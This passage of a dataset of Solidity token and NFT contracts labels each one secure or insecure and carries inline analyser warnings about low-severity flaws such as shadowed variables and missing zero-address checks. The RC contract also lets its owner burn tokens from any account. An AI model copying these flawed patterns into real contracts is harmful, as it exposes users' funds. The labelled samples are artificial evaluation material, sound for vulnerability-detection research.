_deadlineTeamTimeStamp = block.timestamp + 3 * 3600 * 24 * 365;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd18233): AXLToken._presaleAmount should be immutable \n\t// Recommendation for cd18233: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _presaleAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: 7bddeaf): AXLToken._stakingAmount should be immutable \n\t// Recommendation for 7bddeaf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _stakingAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: f95b75f): AXLToken._cexReseveredAmount should be immutable \n\t// Recommendation for f95b75f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _cexReseveredAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: e0c7885): AXLToken._teamAmount should be immutable \n\t// Recommendation for e0c7885: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _teamAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: c937111): AXLToken._incentiveAmount should be immutable \n\t// Recommendation for c937111: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _incentiveAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: f3adf3e): AXLToken._dexAmount should be immutable \n\t// Recommendation for f3adf3e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _dexAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: 71d1579): AXLToken._airdropAmount should be immutable \n\t// Recommendation for 71d1579: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _airdropAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7fae3ca): AXLToken.presaleAddress should be immutable \n\t// Recommendation for 7fae3ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address presaleAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: b1b18bf): AXLToken.stakingAddress should be immutable \n\t// Recommendation for b1b18bf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address stakingAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: b40a2f1): AXLToken.cexReservedAddress should be immutable \n\t// Recommendation for b40a2f1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address cexReservedAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: 045cfe9): AXLToken.teamAddress should be immutable \n\t// Recommendation for 045cfe9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address teamAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: d4f3063): AXLToken.incentiveAddress should be immutable \n\t// Recommendation for d4f3063: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address incentiveAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: 11a5cc6): AXLToken.dexAddress should be immutable \n\t// Recommendation for 11a5cc6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address dexAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: f29eb80): AXLToken.airdropAddress should be immutable \n\t// Recommendation for f29eb80: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address airdropAddress;\n\n constructor() {\n _name = \"AXL INU\";\n _symbol = \"AXL\";\n _decimals = 18;\n _totalSupply = 1 * 10 ** 11 * 10 ** 18;\n\n _presaleAmount = 25 * 10 ** 9 * 10 ** 18;\n _stakingAmount = 30 * 10 ** 9 * 10 ** 18;\n _cexReseveredAmount = 20 * 10 ** 9 * 10 ** 18;\n _teamAmount = 25 * 10 ** 8 * 10 ** 18;\n _incentiveAmount = 65 * 10 ** 8 * 10 ** 18;\n _dexAmount = 15 * 10 ** 9 * 10 ** 18;\n _airdropAmount = 1 * 10 ** 9 * 10 ** 18;\n\n presaleAddress = 0xa4fDeBC21F0d5b1549bEbC1D3aa298dA15571080;\n stakingAddress = 0x367E4d1048dc5762E0bec77f4eDfe5048C298d5d;\n cexReservedAddress = 0x6d2fffad1C836e751f4bAD1aA1dc161dA7Fc3ccE;\n teamAddress = 0x0CBF05E9a2eAB636c3729520014C154e6a01fe1c;\n incentiveAddress = 0x2b7bd5E543E2F4cc9068CCFeB9972554AA591b87;\n dexAddress = 0x35351159Ea0af524f181716AD68635F68BB6B7e6;\n airdropAddress = 0x6467e7ebeE4d234288dF15461f5F9c6Ed3eA0fdE;\n\n require(\n _totalSupply ==\n _presaleAmount +\n _stakingAmount +\n _cexReseveredAmount +\n _teamAmount +\n _incentiveAmount +\n _dexAmount +\n _airdropAmount,\n \"BALCN\"\n );\n\n _mint(_msgSender(), _totalSupply);\n mintingFinishedPermanent = true;\n\n transfer(presaleAddress, _presaleAmount);\n transfer(stakingAddress, _stakingAmount);\n transfer(cexReservedAddress, _cexReseveredAmount);\n transfer(dexAddress, _dexAmount);\n transfer(incentiveAddress, _incentiveAmount);\n transfer(airdropAddress, _airdropAmount);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: feb1c77): AXLToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for feb1c77: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 89613ae): AXLToken.transferToTeam() uses timestamp for comparisons Dangerous comparisons require(bool,string)(_deadlineTeamTimeStamp <= block.timestamp,Token for team is locked for 3 years.)\n\t// Recommendation for 89613ae: Avoid relying on 'block.timestamp'.\n function transferToTeam() public onlyOwner {\n\t\t// timestamp | ID: 89613ae\n require(\n _deadlineTeamTimeStamp <= block.timestamp,\n \"Token for team is locked for 3 years.\"\n );\n transfer(teamAddress, _teamAmount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(!mintingFinishedPermanent, \"cant be minted anymore!\");\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8014410): AXLToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8014410: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3483.sol", "secure": 0, "size_bytes": 13357 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RC is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"Redditcoin\";\n _symbol = \"RC\";\n _totalSupply = 6100000000 * (10 ** decimals());\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 33f1d70): RC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 33f1d70: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function burn(\n address account,\n uint256 amount\n ) public onlyOwner returns (bool) {\n _burn(account, amount);\n return true;\n }\n\n function mint(\n address account,\n uint256 amount\n ) public onlyOwner returns (bool) {\n _mint(account, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ca69d5b): RC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca69d5b: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3484.sol", "secure": 0, "size_bytes": 6479 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TaxToken is ERC20, Ownable {\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3bfbdb): TaxToken._decimals should be immutable \n\t// Recommendation for f3bfbdb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c80d4e7): TaxToken._feeAccount should be immutable \n\t// Recommendation for c80d4e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _feeAccount;\n\n uint256 private _burnFee;\n uint256 private _previousBurnFee;\n\n uint256 private _taxFee;\n uint256 private _previousTaxFee;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9a21da6): TaxToken.constructor(uint256,string,string,uint8,uint256,uint256,address,address).feeAccount_ lacks a zerocheck on \t _feeAccount = feeAccount_\n\t// Recommendation for 9a21da6: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 131901b): TaxToken.constructor(uint256,string,string,uint8,uint256,uint256,address,address).service_ lacks a zerocheck on \t address(service_).transfer(getBalance())\n\t// Recommendation for 131901b: Check that the address is not zero.\n constructor(\n uint256 totalSupply_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 burnFee_,\n uint256 taxFee_,\n address feeAccount_,\n address service_\n ) payable ERC20(name_, symbol_) {\n _decimals = decimals_;\n _burnFee = burnFee_;\n _previousBurnFee = _burnFee;\n _taxFee = taxFee_;\n _previousTaxFee = _taxFee;\n\t\t// missing-zero-check | ID: 9a21da6\n _feeAccount = feeAccount_;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[_feeAccount] = true;\n _isExcludedFromFee[address(this)] = true;\n\n _mint(_msgSender(), totalSupply_ * 10 ** decimals());\n\t\t// missing-zero-check | ID: 131901b\n payable(service_).transfer(getBalance());\n }\n\n receive() external payable {}\n\n function getBalance() private view returns (uint256) {\n return address(this).balance;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function getBurnFee() public view returns (uint256) {\n return _burnFee;\n }\n\n function getTaxFee() public view returns (uint256) {\n return _taxFee;\n }\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n function getFeeAccount() public view returns (address) {\n return _feeAccount;\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n uint256 senderBalance = balanceOf(sender);\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n bool takeFee = true;\n\n if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {\n takeFee = false;\n }\n\n _tokenTransfer(sender, recipient, amount, takeFee);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 value,\n bool takeFee\n ) private {\n if (!takeFee) {\n removeAllFee();\n }\n\n _transferStandard(from, to, value);\n\n if (!takeFee) {\n restoreAllFee();\n }\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _burnFee == 0) return;\n\n _previousTaxFee = _taxFee;\n _previousBurnFee = _burnFee;\n\n _taxFee = 0;\n _burnFee = 0;\n }\n\n function restoreAllFee() private {\n _taxFee = _previousTaxFee;\n _burnFee = _previousBurnFee;\n }\n\n function _transferStandard(\n address from,\n address to,\n uint256 amount\n ) private {\n uint256 transferAmount = _getTransferValues(amount);\n\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + transferAmount;\n\n burnFeeTransfer(from, amount);\n taxFeeTransfer(from, amount);\n\n emit Transfer(from, to, transferAmount);\n }\n\n function _getTransferValues(uint256 amount) private view returns (uint256) {\n uint256 taxValue = _getCompleteTaxValue(amount);\n uint256 transferAmount = amount - taxValue;\n return transferAmount;\n }\n\n function _getCompleteTaxValue(\n uint256 amount\n ) private view returns (uint256) {\n uint256 allTaxes = _taxFee + _burnFee;\n uint256 taxValue = (amount * allTaxes) / 100;\n return taxValue;\n }\n\n function burnFeeTransfer(address sender, uint256 amount) private {\n uint256 burnFee = (amount * _burnFee) / 100;\n if (burnFee > 0) {\n _totalSupply = _totalSupply - burnFee;\n emit Transfer(sender, address(0), burnFee);\n }\n }\n\n function taxFeeTransfer(address sender, uint256 amount) private {\n uint256 taxFee = (amount * _taxFee) / 100;\n if (taxFee > 0) {\n _balances[_feeAccount] = _balances[_feeAccount] + taxFee;\n emit Transfer(sender, _feeAccount, taxFee);\n }\n }\n}", "file_name": "solidity_code_3485.sol", "secure": 0, "size_bytes": 6244 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DEXStreamToken is ERC20, Ownable {\n uint256 private _cSBlock;\n uint256 private _cEBlock;\n uint256 private _cAmount;\n uint256 private _cCap;\n uint256 private _cCount;\n\n uint256 private _sSBlock;\n uint256 private _sEBlock;\n uint256 private _sTokensPerEth;\n uint256 private _sCap;\n uint256 private _sCount;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6dea06e): DEXStreamToken.constructor(string,string,uint256).name shadows ERC20.name() (function)\n\t// Recommendation for 6dea06e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 98a870a): DEXStreamToken.constructor(string,string,uint256).symbol shadows ERC20.symbol() (function)\n\t// Recommendation for 98a870a: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n if (initialSupply > 0) {\n _mint(owner(), initialSupply);\n }\n }\n\n function cSBlock() public view virtual returns (uint256) {\n return _cSBlock;\n }\n function cEBlock() public view virtual returns (uint256) {\n return _cEBlock;\n }\n function cAmount() public view virtual returns (uint256) {\n return _cAmount;\n }\n function cCap() public view virtual returns (uint256) {\n return _cCap;\n }\n function cCount() public view virtual returns (uint256) {\n return _cCount;\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 803ee04): DEXStreamToken.startClaimPeriod(uint256,uint256,uint256,uint256) should emit an event for _cSBlock = startBlock _cEBlock = endBlock _cAmount = amount _cCap = cap \n\t// Recommendation for 803ee04: Emit an event for critical parameter changes.\n function startClaimPeriod(\n uint256 startBlock,\n uint256 endBlock,\n uint256 amount,\n uint256 cap\n ) public onlyOwner {\n\t\t// events-maths | ID: 803ee04\n _cSBlock = startBlock;\n\t\t// events-maths | ID: 803ee04\n _cEBlock = endBlock;\n\t\t// events-maths | ID: 803ee04\n _cAmount = amount;\n\t\t// events-maths | ID: 803ee04\n _cCap = cap;\n _cCount = 0;\n }\n function claim(address refer) public returns (bool success) {\n require(\n _cSBlock <= block.number && block.number <= _cEBlock,\n \"Claim period not active\"\n );\n require(_cCount < _cCap || _cCap == 0, \"All is claimed\");\n _cCount++;\n if (\n msg.sender != refer &&\n balanceOf(refer) != 0 &&\n refer != 0x0000000000000000000000000000000000000000\n ) {\n _transfer(address(this), refer, _cAmount);\n }\n _transfer(address(this), msg.sender, _cAmount);\n return true;\n }\n function viewClaimPeriod()\n public\n view\n returns (\n uint256 startBlock,\n uint256 endBlock,\n uint256 amount,\n uint256 cap,\n uint256 count\n )\n {\n return (_cSBlock, _cEBlock, _cAmount, _cCap, _cCount);\n }\n\n function sSBlock() public view virtual returns (uint256) {\n return _sSBlock;\n }\n function sEBlock() public view virtual returns (uint256) {\n return _sEBlock;\n }\n function sTokensPerEth() public view virtual returns (uint256) {\n return _sTokensPerEth;\n }\n function sCap() public view virtual returns (uint256) {\n return _sCap;\n }\n function sCount() public view virtual returns (uint256) {\n return _sCount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c3f8fed): DEXStreamToken.startSale(uint256,uint256,uint256,uint256) should emit an event for _sSBlock = startBlock _sEBlock = endBlock _sTokensPerEth = tokensPerEth _sCap = cap \n\t// Recommendation for c3f8fed: Emit an event for critical parameter changes.\n function startSale(\n uint256 startBlock,\n uint256 endBlock,\n uint256 tokensPerEth,\n uint256 cap\n ) public onlyOwner {\n\t\t// events-maths | ID: c3f8fed\n _sSBlock = startBlock;\n\t\t// events-maths | ID: c3f8fed\n _sEBlock = endBlock;\n\t\t// events-maths | ID: c3f8fed\n _sTokensPerEth = tokensPerEth;\n\t\t// events-maths | ID: c3f8fed\n _sCap = cap;\n _sCount = 0;\n }\n function buyTokens() public payable returns (bool success) {\n require(\n _sSBlock <= block.number && block.number <= _sEBlock,\n \"Sale not active\"\n );\n require(\n _sCount < _sCap || _sCap == 0,\n \"Max sale participants reached, sale is over\"\n );\n uint256 _eth = msg.value;\n uint256 _tokens;\n _tokens = _eth * _sTokensPerEth;\n require(\n _tokens <= balanceOf(address(this)),\n \"Insufficient tokens avaialble for eth amount, try with less eth\"\n );\n _sCount++;\n _transfer(address(this), msg.sender, _tokens);\n return true;\n }\n function viewSale()\n public\n view\n returns (\n uint256 startBlock,\n uint256 endBlock,\n uint256 tokensPerEth,\n uint256 cap,\n uint256 count\n )\n {\n return (_sSBlock, _sEBlock, _sTokensPerEth, _sCap, _sCount);\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 87e6a72): DEXStreamToken.withdrawal()._owner lacks a zerocheck on \t _owner.transfer(address(this).balance)\n\t// Recommendation for 87e6a72: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c5a6761): DEXStreamToken.withdrawal()._owner shadows Ownable._owner (state variable)\n\t// Recommendation for c5a6761: Rename the local variables that shadow another component.\n function withdrawal() public onlyOwner {\n address payable _owner = payable(msg.sender);\n\t\t// missing-zero-check | ID: 87e6a72\n _owner.transfer(address(this).balance);\n }\n receive() external payable {}\n}", "file_name": "solidity_code_3486.sol", "secure": 0, "size_bytes": 6461 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AAAContract is ERC721, Ownable {\n string private _contractURI;\n\t// WARNING Optimization Issue (constable-states | ID: 57ba4b4): AAAContract.MaxTokens should be constant \n\t// Recommendation for 57ba4b4: Add the 'constant' attribute to state variables that never change.\n uint256 public MaxTokens = 1000;\n uint256 public TotalTokens = 0;\n string private _baseTokenURI;\n uint256 private _saleEnabled = 0;\n\n constructor() ERC721(\"Mutant Pandas\", \"MP\") {\n _baseTokenURI = \"ipfs://ipfs/QmTdCB4BYPvwhP4oEwNK8PB2yTiVvsScnwKsKgNHZGFWNW/\";\n }\n\n function saleEnabled() external view returns (uint256) {\n return _saleEnabled;\n }\n\n function saleOn() external onlyOwner {\n _saleEnabled = 1;\n }\n\n function saleOff() external onlyOwner {\n _saleEnabled = 0;\n }\n\n function mintTo(address _to) public onlyOwner {\n require(tokensAvailableForSale() > 0, \"Max tokens reached\");\n uint256 newTokenId = TotalTokens;\n _mint(_to, newTokenId);\n TotalTokens++;\n }\n\n function contractURI() public view returns (string memory) {\n return _contractURI;\n }\n\n function mintOption1(address _toAddress) external payable {\n require(msg.value >= 0.05 ether, \"Insufficient value to mint\");\n require(tokensAvailableForSale() > 0, \"Max tokens reached\");\n _mint(_toAddress, TotalTokens);\n TotalTokens++;\n }\n\n function mintOption2(address _toAddress) external payable {\n require(msg.value >= 0.12 ether, \"Insufficient value to mint\");\n require(tokensAvailableForSale() > 2, \"Max tokens reached\");\n _mint(_toAddress, TotalTokens);\n _mint(_toAddress, TotalTokens + 1);\n _mint(_toAddress, TotalTokens + 2);\n TotalTokens += 3;\n }\n function mintOption3(address _toAddress) external payable {\n require(msg.value >= 0.15 ether, \"Insufficient value to mint\");\n require(tokensAvailableForSale() > 4, \"Max tokens reached\");\n _mint(_toAddress, TotalTokens);\n _mint(_toAddress, TotalTokens + 1);\n _mint(_toAddress, TotalTokens + 2);\n _mint(_toAddress, TotalTokens + 3);\n _mint(_toAddress, TotalTokens + 4);\n TotalTokens += 5;\n }\n\n function mintOption4(address _toAddress) external payable {\n require(msg.value >= 0.25 ether, \"Insufficient value to mint\");\n require(tokensAvailableForSale() > 9, \"Max tokens reached\");\n _mint(_toAddress, TotalTokens);\n _mint(_toAddress, TotalTokens + 1);\n _mint(_toAddress, TotalTokens + 2);\n _mint(_toAddress, TotalTokens + 3);\n _mint(_toAddress, TotalTokens + 4);\n _mint(_toAddress, TotalTokens + 5);\n _mint(_toAddress, TotalTokens + 6);\n _mint(_toAddress, TotalTokens + 7);\n _mint(_toAddress, TotalTokens + 8);\n _mint(_toAddress, TotalTokens + 9);\n TotalTokens += 10;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b2a2c6c): AAAContract.withdraw(address)._toAddress lacks a zerocheck on \t address(_toAddress).transfer(address(this).balance)\n\t// Recommendation for b2a2c6c: Check that the address is not zero.\n function withdraw(address _toAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: b2a2c6c\n payable(_toAddress).transfer(address(this).balance);\n }\n function tokensAvailableForSale() public view returns (uint256) {\n return MaxTokens - TotalTokens;\n }\n\n function _baseURI() internal view override returns (string memory) {\n return _baseTokenURI;\n }\n function setBaseURI(string memory uri) external onlyOwner {\n _baseTokenURI = uri;\n }\n\n function setContractURI(string memory uri) external onlyOwner {\n _contractURI = uri;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(super.tokenURI(tokenId), \".json\"))\n : \"\";\n }\n\n function URI(\n uint256 tokenId\n ) external view virtual returns (string memory) {\n return tokenURI(tokenId);\n }\n}", "file_name": "solidity_code_3487.sol", "secure": 0, "size_bytes": 4660 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Roles.sol\" as Roles;\n\ncontract MinterRole is Ownable {\n using Roles for Roles.Role;\n\n event MinterAdded(address indexed account);\n event MinterRemoved(address indexed account);\n\n Roles.Role private _minters;\n\n constructor() {\n _addMinter(msg.sender);\n }\n\n modifier onlyMinter() {\n require(isMinter(msg.sender));\n _;\n }\n\n function isMinter(address account) public view returns (bool) {\n return _minters.has(account);\n }\n\n function addMinter(address account) public onlyMinter {\n _addMinter(account);\n }\n\n function removeMinter(address account) public onlyOwner {\n _removeMinter(account);\n }\n\n function renounceMinter() public {\n _removeMinter(msg.sender);\n }\n\n function _addMinter(address account) internal {\n _minters.add(account);\n emit MinterAdded(account);\n }\n\n function _removeMinter(address account) internal {\n _minters.remove(account);\n emit MinterRemoved(account);\n }\n}", "file_name": "solidity_code_3488.sol", "secure": 1, "size_bytes": 1195 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./MinterRole.sol\" as MinterRole;\n\nabstract contract ERC20Mintable is ERC20, MinterRole {\n function mint(\n address to,\n uint256 value\n ) public onlyMinter returns (bool success) {\n _mint(to, value);\n success = true;\n }\n}", "file_name": "solidity_code_3489.sol", "secure": 1, "size_bytes": 402 }
